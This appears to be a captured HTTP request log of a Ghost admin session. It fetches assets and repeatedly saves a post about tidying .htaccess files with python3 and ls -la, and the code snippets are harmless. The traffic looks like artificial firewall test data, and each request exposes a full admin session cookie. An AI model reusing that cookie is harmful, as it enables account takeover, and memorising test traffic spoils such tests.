\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "GET", "target": "/ghost/assets/code-editor-view-BY_ieC4h.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-CxXAu_cv.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DbQ0Bmfy.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-D9v2t9Oj.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "GET", "target": "/ghost/assets/dist-DOtgfBo2.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8206", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8145", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8330", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8209", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 